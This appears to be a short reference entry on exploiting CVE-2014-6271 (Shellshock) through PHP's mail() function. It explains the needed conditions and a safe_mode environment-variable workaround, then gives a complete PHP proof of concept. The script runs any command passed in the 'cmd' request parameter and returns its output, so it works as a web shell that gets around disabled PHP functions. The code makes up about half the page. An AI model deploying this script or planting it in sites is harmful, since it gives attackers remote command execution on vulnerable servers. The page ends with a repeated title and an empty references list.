PHP 5.x Shellshock Command Execution

This historical technique relies on CVE-2014-6271 (Shellshock): vulnerable Bash versions execute commands appended to an exported function definition. The PHP proof of concept sets such an environment variable and invokes mail(), which may cause the local mail transport to start a vulnerable Bash process.^[1][2]

It works only when all of the required conditions are present, including a vulnerable Bash, /bin/sh resolving to Bash, a usable mail() path, and the relevant PHP functions not being disabled. It should therefore be treated as a legacy, environment-specific check.^[1][2]

On historical safe_mode configurations, PHP commonly allowed users to change only environment variables whose names began with the configured safe_mode_allowed_env_vars prefixes; the default prefix was PHP_. The proof of concept therefore uses the name PHP_LOL for the exported function payload.^[2]

<?php
echo "Disabled functions: " . ini_get('disable_functions') . "\n";

function shellshock($cmd) {
    // Execute a command through CVE-2014-6271 when the environment is vulnerable.
    if (strstr(readlink('/bin/sh'), 'bash') === false) {
        return 'Not vulnerable: /bin/sh is not Bash';
    }

    $tmp = tempnam('.', 'data');
    putenv("PHP_LOL=() { x; }; $cmd >$tmp 2>&1");
    mail('a@127.0.0.1', '', '', '', '-bv');

    $output = @file_get_contents($tmp);
    @unlink($tmp);

    return $output !== '' ? $output : 'No output, or the target is not vulnerable.';
}

echo shellshock($_REQUEST['cmd']);
?>

PHP 5.x Shellshock Command Execution

References